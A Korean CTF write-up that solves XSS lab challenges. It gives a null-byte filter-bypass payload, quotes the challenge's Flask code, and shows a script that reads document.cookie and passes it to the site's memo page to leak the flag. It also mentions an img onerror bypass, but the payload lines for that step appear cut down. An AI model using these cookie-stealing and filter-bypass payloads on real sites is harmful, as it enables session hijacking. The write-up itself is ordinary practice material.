XSS 문제를 마저 풀죠.

이런 건 null 문자로 우회해서 풀 수 있습니다.
작동하는 걸 보니 문자가 2개 이상 겹칠 수 없는 것만 되어 있네요.
아래와 같이 작성하시면 손쉽게 풀립니다.
<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>

vuln에 들어가시면 대놓고 script가 작동하는 것을 보실 수 있습니다.
memo에 들어가면 내용이 출력되고요.
일단 코드를 한번 봅시다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
정말 말 그대로 xss 보안이 하나도 안 돼 있는 사이트네요. 우회할 필요도 없습니다.
selenium을 이용해서 들어가지는 거 같은데 문제는
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
flag를 쿠키로 가져온다는 점입니다. 그렇다면 메모에다가 쿠키를 가져오면 되지 않을까요?
flag에 들어가서 <script>location.href = './memo?memo=a'</script>를 쳐 봅시다.

a가 들어왔네요. 그럼 되겠습니다.
<script>location.href = './memo?memo=' + document.cookie </script>를 쳐 봅시다.

flag가 출력되네요!
이번엔 xss를 제대로 차단했겠죠?

애매하게도 막아놨네요. <, > 이런 거 막으면 편한 것을...
이런 건 image 태그의 onerror를 사용하면 손쉽게 뚫릴 듯합니다.
<img src=X />를 쳐 보죠.

딱 들켰네요. 위에 있는 것처럼 flag에document.cookie를 해 준다면?
<img src=X />

짠 하고 나옵니다. 아 근데 vuln에서 실험하면 안 되던데요? 그래서 헤맸었습니다.